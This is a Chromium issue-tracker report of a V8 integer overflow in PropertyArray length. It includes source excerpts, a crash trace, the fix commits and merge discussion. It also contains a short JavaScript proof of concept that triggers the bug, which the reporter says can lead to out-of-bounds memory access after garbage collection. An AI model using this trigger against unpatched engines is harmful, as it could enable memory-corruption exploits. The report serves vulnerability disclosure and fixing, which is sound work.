Security: V8: Integer overflow with PropertyArray |
||||||||||||||||||||||
Issue description
Here's a snippet of the MigrateFastToFast function which is used to create a new PropertyArray object.
int number_of_fields = new_map->NumberOfFields();
int inobject = new_map->GetInObjectProperties();
int unused = new_map->UnusedPropertyFields();
...
int total_size = number_of_fields + unused;
int external = total_size - inobject;
Handle<PropertyArray> array = isolate->factory()->NewPropertyArray(external);
The new_map variable may come from the Map::CopyWithField method.
Here's a snippet of the method.
MaybeHandle<Map> Map::CopyWithField(Handle<Map> map, Handle<Name> name,
Handle<FieldType> type,
PropertyAttributes attributes,
PropertyConstness constness,
Representation representation,
TransitionFlag flag) {
...
if (map->NumberOfOwnDescriptors() >= kMaxNumberOfDescriptors) {
return MaybeHandle<Map>();
}
DCHECK_IMPLIES(!FLAG_track_constant_fields, constness == kMutable);
Descriptor d = Descriptor::DataField(name, index, attributes, constness,
representation, wrapped_type);
Handle<Map> new_map = Map::CopyAddDescriptor(map, &d, flag);
new_map->AccountAddedPropertyField();
return new_map;
}
The Map::CopyAddDescriptor method adds one more descriptor to the map, and the AccountAddedPropertyField method may make the UnusedPropertyFields() up to 2. Since kMaxNumberOfDescriptors is 1022, new_map's NumberOfFields() can be 1022, and UnusedPropertyFields() can be 2 in certain circumstances.
This means, in the MigrateFastToFast method, the "external" variable can be 1024 which exceeds the maximum value of a ProperyArray's length which is 1023. So the created array's length() will return 0, it hits the following assert.
#
# Fatal error in ../../v8/src/objects-inl.h, line 1750
# Debug check failed: index < this->length() (0 vs. 0).
#
==== C stack trace ===============================
0 d8 0x00000001071f6372 v8::base::debug::StackTrace::StackTrace() + 34
1 d8 0x00000001071fdcc0 v8::platform::(anonymous namespace)::PrintStackTrace() + 192
2 d8 0x00000001071eaf4a V8_Fatal(char const*, int, char const*, ...) + 442
3 d8 0x00000001071ea6af v8::base::(anonymous namespace)::DefaultDcheckHandler(char const*, int, char const*) + 47
4 d8 0x0000000105b0375c v8::internal::PropertyArray::set(int, v8::internal::Object*) + 1116
5 d8 0x000000010630e10e v8::internal::JSObject::MigrateToMap(v8::internal::Handle<v8::internal::JSObject>, v8::internal::Handle<v8::internal::Map>, int) + 18558
6 d8 0x00000001061f858b v8::internal::LookupIterator::ApplyTransitionToDataProperty(v8::internal::Handle<v8::internal::JSObject>) + 1899
7 d8 0x000000010632221e v8::internal::Object::AddDataProperty(v8::internal::LookupIterator*, v8::internal::Handle<v8::internal::Object>, v8::internal::PropertyAttributes, v8::internal::ShouldThrow, v8::internal::Object::StoreFromKeyed) + 2254
8 d8 0x000000010631f338 v8::internal::Object::SetProperty(v8::internal::LookupIterator*, v8::internal::Handle<v8::internal::Object>, v8::internal::LanguageMode, v8::internal::Object::StoreFromKeyed) + 1112
9 d8 0x0000000105f90c07 v8::internal::StoreIC::Store(v8::internal::Handle<v8::internal::Object>, v8::internal::Handle<v8::internal::Name>, v8::internal::Handle<v8::internal::Object>, v8::internal::Object::StoreFromKeyed) + 4647
10 d8 0x0000000105f9ca62 v8::internal::KeyedStoreIC::Store(v8::internal::Handle<v8::internal::Object>, v8::internal::Handle<v8::internal::Object>, v8::internal::Handle<v8::internal::Object>) + 2258
11 d8 0x0000000105fae469 v8::internal::__RT_impl_Runtime_KeyedStoreIC_Miss(v8::internal::Arguments, v8::internal::Isolate*) + 1321
12 d8 0x0000000105fad513 v8::internal::Runtime_KeyedStoreIC_Miss(int, v8::internal::Object**, v8::internal::Isolate*) + 979
13 ??? 0x000000010d385204 0x0 + 4516762116
Received signal 4 <unknown> 0001071f2478
Illegal instruction: 4
It seems like OOB writes, but actually it is not. array->length() just returns 0, it's allocated enough to contain 1024 elements. But this affects the Garbage Collector to reallocate the array with the 0 length. So after the garbage collection, it can lead to OOB reads/writes.
PoC:
function gc() {
for (let i = 0; i < 20; i++)
new ArrayBuffer(0x1000000);
}
function trigger() {
function* generator() {
}
for (let i = 0; i < 1022; i++) {
generator.prototype['b' + i];
generator.prototype['b' + i] = 0x1234;
}
gc();
for (let i = 0; i < 1022; i++) {
generator.prototype['b' + i] = 0x1234;
}
}
trigger();
Tested on V8 version 6.4.381.
This bug is subject to a 90 day disclosure deadline. After 90 days elapse
or a patch has been made broadly available, the bug report will become
visible to the public.
,
Nov 29 2017
hpayer: Can you please find the right owner? Thanks!
,
Nov 29 2017
bmeurer@ can you please investigate and re-assign?
,
Dec 11 2017
Sorry, didn't see this one earlier. Sathya, please take a look.
,
Dec 13 2017
GC's slack tracking for property array is incorrect. Adding ulan@
,
Dec 13 2017
> GC's slack tracking for property array is incorrect. I don't think it's a GC issue. I did refactoring in this area and changed how unused property fields are stored, but that did not affect the limits of the arrays and properties. The root cause of the problem is that there is an implicit invariant: MaxNumberOfDescriptors + MaxNumberOfUnusedFieldsInPropertyArray <= MaxPropertyArrayLength. Looks like the bug slipped through in https://chromium-review.googlesource.com/c/v8/v8/+/713616/7/src/objects.h where the width of the prototype array length field decreases from 11 bits to 10 bits. I will upload a fix that decreases MaxNumberOfDescriptors and makes the implicit invariant into and explicit assert.
,
Dec 13 2017
> where the width of the prototype array length field decreases from 11 bits to 10 bits. Actually, I counted wrong. That CL did not change the width. The width was 10 bits from the very beginning of PropertyArrays.
,
Dec 13 2017
The following revision refers to this bug: https://chromium.googlesource.com/v8/v8.git/+/3ecb047abae69064052f268896afd3fe0824e0ce commit 3ecb047abae69064052f268896afd3fe0824e0ce Author: Ulan Degenbaev <ulan@chromium.org> Date: Wed Dec 13 18:59:26 2017 [runtime] Decrease the maximum number of descriptors. This ensures that MigrateFastToFast does not overflow the length of the property array. Bug: chromium:789393 Change-Id: I77adc319c1c8c469ea482bad35ead8661d535192 Reviewed-on: https://chromium-review.googlesource.com/824167 Commit-Queue: Ulan Degenbaev <ulan@chromium.org> Reviewed-by: Igor Sheludko <ishell@chromium.org> Reviewed-by: Sathya Gunasekaran <gsathya@chromium.org> Cr-Commit-Position: refs/heads/master@{#50086} [modify] https://crrev.com/3ecb047abae69064052f268896afd3fe0824e0ce/src/objects.h [modify] https://crrev.com/3ecb047abae69064052f268896afd3fe0824e0ce/src/property-details.h [modify] https://crrev.com/3ecb047abae69064052f268896afd3fe0824e0ce/test/mjsunit/dictionary-prototypes.js
,
Dec 14 2017
I triaged using the PoC test. The crash started with: Reland "[runtime] Load only 10 bits as PropertyArray length" (https://chromium-review.googlesource.com/583708) Based on this I am handing over the bug to Sathya for all the follow-up work required for security issues: 1) add a regression test, 2) back merge the fix to the affected branches, 3) audit and harden PropertyArray code.
,
Dec 19 2017
gsathya@, ping regarding comment #9. Could you please take over this bug?
,
Dec 19 2017
This bug requires manual review: M64 has already been promoted to the beta branch, so this requires manual review Please contact the milestone owner if you have questions. Owners: cmasso@(Android), cmasso@(iOS), kbleicher@(ChromeOS), abdulsyed@(Desktop) For more details visit https://www.chromium.org/issue-tracking/autotriage - Your friendly Sheriffbot
,
Dec 19 2017
Looks like the fix went into 65.0.3295.0 which was released on Dec 16 and has had canary coverage -- https://chromiumdash-staging.googleplex.com/commit/3ecb047abae69064052f268896afd3fe0824e0ce
,
Dec 19 2017
,
Dec 19 2017
,
Dec 19 2017
+ awhalley@ for M63 merge review
,
Dec 20 2017
,
Dec 20 2017
Please mark security bugs as fixed as soon as the fix lands, and before requesting merges. This update is based on the merge- labels applied to this issue. Please reopen if this update was incorrect. For more details visit https://www.chromium.org/issue-tracking/autotriage - Your friendly Sheriffbot
,
Dec 21 2017
,
Jan 2 2018
gsathya@, reminder to please merge CL to M64 branch 3282 if you've confirmed fix in M65.
,
Jan 4 2018
The following revision refers to this bug: https://chromium.googlesource.com/v8/v8.git/+/731fd1d4162897965209aa24ee0a32bf2f92fe14 commit 731fd1d4162897965209aa24ee0a32bf2f92fe14 Author: Sathya Gunasekaran <gsathya@chromium.org> Date: Thu Jan 04 00:56:05 2018 Merged: [runtime] Decrease the maximum number of descriptors. Revision: 3ecb047abae69064052f268896afd3fe0824e0ce BUG= chromium:789393 LOG=N NOTRY=true NOPRESUBMIT=true NOTREECHECKS=true R=adamk@chromium.org Change-Id: I6db4e3575be59f6acbb2801786622f21d1d0be0f Reviewed-on: https://chromium-review.googlesource.com/849654 Reviewed-by: Adam Klein <adamk@chromium.org> Cr-Commit-Position: refs/branch-heads/6.4@{#26} Cr-Branched-From: 0407506af3d9d7e2718be1d8759296165b218fcf-refs/heads/6.4.388@{#1} Cr-Branched-From: a5fc4e085ee543cb608eb11034bc8f147ba388e1-refs/heads/master@{#49724} [modify] https://crrev.com/731fd1d4162897965209aa24ee0a32bf2f92fe14/src/objects.h [modify] https://crrev.com/731fd1d4162897965209aa24ee0a32bf2f92fe14/src/property-details.h
,
Jan 5 2018
Please merge the approved cl(s) to M64 release branch 3282 as soon as possible.
,
Jan 5 2018
Already merged as per comment#20
,
Jan 16 2018
We're not planning any further M63 releases. Hence, rejecting merge to M63.
,
Jan 22 2018
,
Mar 2 2018
,
Mar 27 2018
,
Mar 28 2018
This bug has been closed for more than 14 weeks. Removing security view restrictions. For more details visit https://www.chromium.org/issue-tracking/autotriage - Your friendly Sheriffbot |
||||||||||||||||||||||
►
Sign in to add a comment |
||||||||||||||||||||||
Comment 1 by lokihardt@google.com
, Nov 29 2017